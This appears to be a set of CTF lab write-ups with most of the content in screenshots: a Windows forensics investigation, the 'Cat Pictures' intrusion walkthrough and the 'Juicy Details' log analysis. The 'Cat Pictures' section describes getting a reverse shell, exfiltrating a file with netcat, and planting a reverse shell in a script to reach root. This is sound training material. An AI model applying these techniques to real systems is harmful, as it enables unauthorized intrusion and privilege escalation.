![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdF5MVsVM87-mmBlu_5%2F-MdF60cJjFbo9EaWurpa%2Fimage.png?alt=media\&token=04dbc851-f272-43cc-954c-eed2c87ea37c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdF5MVsVM87-mmBlu_5%2F-MdF6693DUG3TO0bFwgR%2Fimage.png?alt=media\&token=5b40cbca-aa7d-441e-811f-4e0ce1d97de7)

We were the ones who logged in last as the user `Administrator`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIsWE2NXY9-dOZtQSW%2F-MdIshnjDFjeciJiDJCr%2Fimage.png?alt=media\&token=d460abef-a803-46b6-b993-c6c2fa6d3377)

Lets check when the user `John` last logged onto the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIsjInAxEOOJVm4WCS%2F-MdIsvTvuD-yRnzS7JaK%2Fimage.png?alt=media\&token=9eac76cd-bf8d-4fa9-b128-9224e6aa2212)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIsjInAxEOOJVm4WCS%2F-MdItWlx_30oLCjqqTGS%2Fimage.png?alt=media\&token=26e3b4ee-94a6-48a7-989c-71fae63e2977)

Next lets look for the IP that the system connects to when it first starts. So lets go look for programs that start when the system boots up, lets go to to *`Start > Regedit > Hkey-Local-Machine > Software > Microsoft > Windows > Current Version >  Run`.* Lets look at the UpdateSvc script.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIsjInAxEOOJVm4WCS%2F-MdIvJa70Oewi_Gi5YnD%2Fimage.png?alt=media\&token=1ec7c635-b13f-4a24-a976-5028d098a9c8)

We have the IP address

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIsjInAxEOOJVm4WCS%2F-MdIvQ_6o0LNbHejpyGm%2Fimage.png?alt=media\&token=5bef7043-6b64-4cb0-9338-783fd373412a)

To see what other users have Administrative privileges on the system, we can go to *`Start > User Accounts > Manage Accounts`*

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIsjInAxEOOJVm4WCS%2F-MdIwWTNQBIQ5PuVdV25%2Fimage.png?alt=media\&token=90f19228-4a14-47f5-aefe-57cab2a5d69e)

The other user is Guest

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIsjInAxEOOJVm4WCS%2F-MdIw_cALPGHeOhim1IT%2Fimage.png?alt=media\&token=d3abe209-1917-44c4-9f26-e0acc4f73cb0)

Now lets go find the name of the scheduled task that is malicious. Lets go to *`Start > Task scheduler > Task Schedule Library`.*

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdIyKudXUNOcRV_Vip0%2Fimage.png?alt=media\&token=041c64e7-0ae5-4875-86a6-7f81e6fd4826)

Looking through the tasks, The Clean file system is the task which is malicious as it clears data every few minutes

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdIyUOlde7fxH1v0RDH%2Fimage.png?alt=media\&token=db7a9588-9fbe-4549-9907-98e9a5822eb9)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdIyaTNo_z5rsd8bdeY%2Fimage.png?alt=media\&token=562de71f-47ec-46f4-8ac0-64a814f10638)

The file that is tasked to run daily can be found in the Actions tab

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdIzIpVGYcbxXuTwwZF%2Fimage.png?alt=media\&token=925f28fc-1dec-4af1-9e84-9daa6414c141)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdIzN8UmPtRwovLl0Mk%2Fimage.png?alt=media\&token=6bb5c876-a58c-4e10-8e06-74b8807f00c2)

Lets check this script out. `Start > This PC > Local Disk > TMP > nc`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdIzoM3mxa_7d2FJIL2%2Fimage.png?alt=media\&token=a8164c8e-1ba6-43a6-b25b-e3087dd15b1f)

Does not look well formatted, so lets open this with a app that can make it easier to use, we can open this app by right clicking on the script and clicking edit, the app is `Windows PowerShell ISE`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ-CQe2hoxMkOoezU9%2Fimage.png?alt=media\&token=4f433da8-4ffe-4480-8e9f-833d4a7195e7)

The port the file it is listening on was found before

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ-fpD4n6blmPSmjjF%2Fimage.png?alt=media\&token=95451fb2-d621-4c52-a927-5b3cf09aabc6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ-kv-KYC5FTdHqkoN%2Fimage.png?alt=media\&token=ddf41411-6e61-42f8-8d1a-e5fb2d7c6df2)

Next lets check when the user `Jenny` last logged in

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ-wXcksv9dG7ru_je%2Fimage.png?alt=media\&token=df07ac66-8be8-4eb2-a796-00aa0c84050e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ01dtElePWpLTMthm%2Fimage.png?alt=media\&token=35b1f9d5-5189-4e95-8df0-f94988c8004c)

The compromise took place when the Game Over script was run, so lets see when that was first run

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ0Wx-5PV1OQJyxhQ2%2Fimage.png?alt=media\&token=e4340c0e-375e-4ef1-af7b-ba491d69b9a5)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ0alSJiioSya078fX%2Fimage.png?alt=media\&token=807b232c-d35d-4985-a876-8218e2c73dca)

For the answer to the next questions we need to go to the `Event Viewer > Windows Logs > Security > Filter Current Logs > Type in 4624 (The ID for all the logs that are logging in related) > Now click on the Data and Time tab to get the first logs on top`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ1yge0kTY1dpSdK06%2Fimage.png?alt=media\&token=212e56fb-0315-4cc8-882d-05982bb4c20d)

Now I did not know which one it was, so I looked at the hint which said that it ended with `:49 PM`, so lets look for it. And I found it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ444j09CgV9-P_Wzs%2Fimage.png?alt=media\&token=635126b8-5260-40bf-a7ba-7223998237da)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdIwpxbuyOUAE3s1POG%2F-MdJ4Dxwzos25-VREz29%2Fimage.png?alt=media\&token=a752df0a-bc94-4625-a637-6583b2173294)

We saw that the scheduler was `Mimikatz`, so that is the tool used to get Windows passwords.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ4p1GSml3SeaVslMm%2Fimage.png?alt=media\&token=0e7e9c90-6140-403b-9f0b-105a95fea55e)

We can find the external control and command server IP address of the attacker by looking at the hosts file on the machine. This can be found at `C:\Windows\System32\drivers\etc\hosts`. Looking at the file there are two interesting sites that are set a unique IP address

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ6RyCW4OKtq_IemTu%2Fimage.png?alt=media\&token=3b37a7d0-e024-4194-ad79-0a6bfe77b0e4)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ6X48pmBQlctCi99O%2Fimage.png?alt=media\&token=fb9f0080-29fe-4747-bf02-a39313071d1a)

To find the extension of the shell uploaded via the servers website we have to go to *`Local Disk > inetpub > wwwroot`*

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ75OZJvoXJTEGADrz%2Fimage.png?alt=media\&token=ea7c66af-7438-4955-b9c5-64eb7e7a019b)

The extension is `.jsp`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ7AceZFjiUA8og4Cc%2Fimage.png?alt=media\&token=51d73b60-1d19-4e8c-8ff2-a86921cea0cb)

To find the last port the attacker opened we need to go to `Windows Firewall > Inbound Rules`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ84iqPnIn-fEMFan6%2Fimage.png?alt=media\&token=e49bac1c-0714-494f-a9b6-b8e45e43e225)

Lets look at the properties of the selected rule as we might see what port the attacker used last as they might have changed the port and not change it back

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ8MgryzpAv9IjNzPW%2Fimage.png?alt=media\&token=07f8964f-75c5-4066-8ed8-0b94446efdea)

Looks like we found the port

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ8Qna0ogp2Se_qrV6%2Fimage.png?alt=media\&token=f1e17be0-2fbd-4837-9ad9-3e02fd0b8a7e)

The site that was targeted for DNS poisoning was `google.com` as we saw earlier in the hosts file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ7Ree0TdD4IEFaEco%2Fimage.png?alt=media\&token=c94d0327-779c-4b01-9f45-b0cd81af7922)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdJ4FXCc9P9kNr6cA1J%2F-MdJ8Wl4nxdIPR7yQFw8%2Fimage.png?alt=media\&token=0bfa735d-f44c-4dfb-a31a-b14a931ce6ff)


# Cat Pictures

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7uuBYCzPX_IaDveHD%2F-Md7xwoq1eYtfCMjRHPZ%2Fimage.png?alt=media\&token=c0581090-ed6e-4d1c-8af7-eca4a3c2c9ab)

## Scanning

Lets run some nmap scans to see what ports and services are open on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md7y8lG8qcDhTGAeB-N%2Fimage.png?alt=media\&token=ba62907f-e4e7-47ee-b9ca-2f89ee5bbe72)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md7yKQF9pZBBdeBCfst%2Fimage.png?alt=media\&token=769f7b92-42bd-4195-b4c0-ec5a37cd8109)

## Enumeration&#x20;

Lets visit the website on port 8080

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md7yTMmJA_5diZun54l%2Fimage.png?alt=media\&token=de3520e2-da7c-4eb3-869e-ce1f18e72b30)

Lets look at the first forum

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md7yr1z4t87p0PxWEC1%2Fimage.png?alt=media\&token=5de0d4c0-5cb6-42f5-87f0-12207654bdf0)

Looks like this message is hinting `Port Knocking`. To do this we can use a tool called `knockd`. Lets install it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md7zYebtzQT4tRJmwrO%2Fimage.png?alt=media\&token=714eddcb-2fd9-4951-ad60-69b7fee21425)

Now lets use the knock command (a few times) and also run the nmap scan again.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md80FeVUdmkhNADWP2U%2Fimage.png?alt=media\&token=1348593a-0e0e-402e-a893-3e6933ec2bda)

We can see that port 21 is now open, and anonymous login is allowed, lets check it out and get any files on the server to our machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md80WtsZw377edl66Gl%2Fimage.png?alt=media\&token=3d2647ad-4f57-43cf-9f30-35e76a599c9d)

Ok, so lets connect to port 4420 on the machine using Netcat

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md80qHdYSDdnGDkUi9Q%2Fimage.png?alt=media\&token=f7032f35-4b75-4f9c-83ed-7b09e57767dc)

## Exploitation

Lets try to get a reverse shell on the machine, lets first start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md80yuqPOiJgN1e6S0n%2Fimage.png?alt=media\&token=e77972ab-850e-40f4-bba6-68e999916eb1)

Now lets run the reverse shell command, you can find it [here](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md81IVeXPv0r7Z9g3Vc%2Fimage.png?alt=media\&token=386e4ebd-da8d-4523-ac68-d531f7a8f254)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md81LDb4HqhknssANs1%2Fimage.png?alt=media\&token=339ea656-2682-4468-8124-37929627fc92)

We have a reverse shell on the machine, lets check what files there are on the machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md825899hv0f20MxSUo%2Fimage.png?alt=media\&token=09ef027b-ae95-4af5-a2b5-ee1bbbb98567)

Lets download this file to our machine using netcat.

First we start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md82TOgQ1sSiG-3PI02%2Fimage.png?alt=media\&token=9a5aee36-2fe1-4023-a510-6f21eb704cf0)

Then we send the file to our machine using netcat

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md82Y-lWjt-DVdMY2o1%2Fimage.png?alt=media\&token=843c2238-8fd7-4513-8a4e-5a905b984ac9)

And now we should have the runme file on our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md82gFXa3MkPHEqW0iU%2Fimage.png?alt=media\&token=013e3e76-8e12-4a8a-9171-745c26ad3f40)

Lets check the file type of the `runme` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md82pz_1YWHz0ZlMw16%2Fimage.png?alt=media\&token=2caa8bbe-c90e-4bb1-8c08-ecc122d9d8bc)

Its a binary file, lets run the `strings` command to get more information about the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md836Cz_cyPmUUTH22I%2Fimage.png?alt=media\&token=b4e21694-9443-4c55-9803-a8379c14375b)

The highlighted lines are interesting , lets run the binary on the machine and supply the password that we see here and check what happens. We also have to run the command from the `/tmp` directory as they moved into the temp directory after entering the password. Lets run the command and then check the content of the `catlover` directory to see what changed

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md83qRz9e1568ka0GN_%2Fimage.png?alt=media\&token=8e1867c3-3e1e-4a65-8e64-484e20cb4c36)

Looks like we have a `id_rsa` file, lets copy the content of this file to a file on our machine and then login through ssh.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md85ZYdY8eVwSsB7IGM%2Fimage.png?alt=media\&token=8f73740f-e005-4ad4-891d-3790ffbc66c3)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md85iQ3iy58oPgw9DoU%2Fimage.png?alt=media\&token=79eb6fa3-0958-47eb-82a2-16c365dac13d)

Now lets login, we first have to give permissions and the username that we are going to be logging in as was found when we used to strings command on the binary file , the username: `catlover`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md863C-fG_MD0doX2jR%2Fimage.png?alt=media\&token=bf5380f6-ed4b-4755-b0d4-ca6493197ffa)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md86FhDfU_vGN9vijwG%2Fimage.png?alt=media\&token=c451da66-5648-4fdf-9731-2ead53f1b9fe)

We are now a user called root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md86K0PkH4qKbl6w61F%2Fimage.png?alt=media\&token=f06959fd-e933-4ee1-aefd-4f32f5cff102)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md7xy9NUfFxZhxpvD5A%2F-Md86lhu7NVnCiS5nma1%2Fimage.png?alt=media\&token=c9bfe38d-831e-4fd1-a5c8-1be2c42a9acf)

We have the first flag, but we do not have the root flag, so lets explore the machine a bit more.

## Privilege Escalation

Looking through the system, there is an interesting file, lets read it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md86nu-h_sew2hwECn_%2F-Md8A7nIwVg070zq3fHe%2Fimage.png?alt=media\&token=a87745f5-5a72-42c7-93ae-384b75e33222)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md86nu-h_sew2hwECn_%2F-Md8AiospNtL8MNQJ-fT%2Fimage.png?alt=media\&token=a2da7132-bf65-416c-ad6f-116919f4c910)

Looks like they are adding a reverse shell to the file, lets do the same so that we can get a reverse shell as a higher privileged user which is root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md86nu-h_sew2hwECn_%2F-Md8CNK69Hmvo6qzSvEj%2Fimage.png?alt=media\&token=e2605f2b-b038-480d-b361-4dbb266c25d3)

Once we change the content of the file, lets save it and start a netcat listener on our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md86nu-h_sew2hwECn_%2F-Md8Ch2PvfXd6l7MDLiE%2Fimage.png?alt=media\&token=9b693711-70ab-437d-a531-2b22cd5e46fd)

After a while, you should get a reverse shell on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md8CkoMT-SPM9G9-ceZ%2F-Md8EJcQ0KJV8yS3yzsA%2Fimage.png?alt=media\&token=01ad8e61-65bc-4ef4-844d-ce72755a378e)

You can read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md8CkoMT-SPM9G9-ceZ%2F-Md8ERXnvwi4zfHNcsFj%2Fimage.png?alt=media\&token=50044a48-2988-4704-802d-33c29157f279)


# Juicy Details

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4iouUqmEvIQBOdjMv%2F-Md4iwq0qXhvoA5fr_EN%2Fimage.png?alt=media\&token=d24d78c2-10d7-48da-bfc0-9d0d69e58160)

## Introduction

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4iouUqmEvIQBOdjMv%2F-Md4jPFUPWq4N0-2S89D%2Fimage.png?alt=media\&token=6353a405-d741-46d2-bcbf-9c0d75851321)

## Reconnaissance

Lets unzip the files we downloaded

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4iouUqmEvIQBOdjMv%2F-Md4jeDLrpYKoGlkEi51%2Fimage.png?alt=media\&token=c7949700-7096-4a14-b6be-1c9abc6bf442)

Lets read the access log&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4k7481F-nekpdNb8o%2Fimage.png?alt=media\&token=22749b7f-0ccb-4f89-9351-2cc0cb48120b)

So we have to find what tools the attacker used, we can find this by looking at the `Headers`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4lCbAgnlh8-8WycpC%2Fimage.png?alt=media\&token=ff07f52d-80c2-4172-b050-cf9229e1d194)

First we have nmap

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4lIwlpttXXiI0C5xi%2Fimage.png?alt=media\&token=4851f348-5689-489f-a0b9-91a5337dfd2c)

Next we have `hydra`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4lSn-nGn7Oa5X2yyW%2Fimage.png?alt=media\&token=c6ec6908-b881-40db-bf8d-835c65f4a238)

We have `Sqlmap`, and the last two we have&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4lhpsgThGMQhIMNK4%2Fimage.png?alt=media\&token=b2f2bc6e-ea7c-4683-bd36-891e5759ebd3)

`Curl` and `Feroxbuster`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4lu0mpBskmshx9JNF%2Fimage.png?alt=media\&token=33bb81f0-13ef-4048-9e72-f25ac6047c4f)

Hydra is the tool used for bruteforcing, so lets see what endpoint they were attacking with Hydra

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4mCMmqijFPQVvMlGS%2Fimage.png?alt=media\&token=79b88861-b76f-4056-a10c-065a5de2f320)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4mHtGCjHTR-eC6Sby%2Fimage.png?alt=media\&token=1e26b7b7-08ee-4372-bc1c-7763a31e2717)

To see what endpoint was vulnerable to sql injection , lets go see which endpoint they attacked with SQLi and were successful.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4mlCdL_9990UyE1Os%2Fimage.png?alt=media\&token=0311341a-6382-4190-9511-4ef917aa0fea)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4moI2YkcFInLk1UP6%2Fimage.png?alt=media\&token=9d37a05e-0bbe-4e2c-a0b0-efecaa6d3d90)

The parameter used for the SQL injection was `q`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4nMPNc4W3ebXv9mdR%2Fimage.png?alt=media\&token=a916db7b-eb34-4882-8656-8319872eff98)

The endpoint the attacker tried to use to retrieve flags can be seen in the end of the log file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4nrui_3Vz86zdxjGc%2Fimage.png?alt=media\&token=513cc3a4-747f-4d87-9bce-2d7c43630533)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4jg6bDHChfciOAdlL%2F-Md4nuykVBP3awO3vfoN%2Fimage.png?alt=media\&token=5c8ed45d-c1bd-4402-8b6c-0538e758eb2c)

## Stolen Data

The section of the website the attacker used to scrape user email addresses can be seen in the log file. We usually do not find email addresses on all pages, but we can find them when people give reviews.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Md4oBFoewRl0wOENajd%2F-Md4oqB-dg3DAQScWQnB%2Fimage.png?alt=media\&token=b009a140-e79a-4d1c-ace4-839b09932003)

Their brute-force attack was successful as we can see in the logs

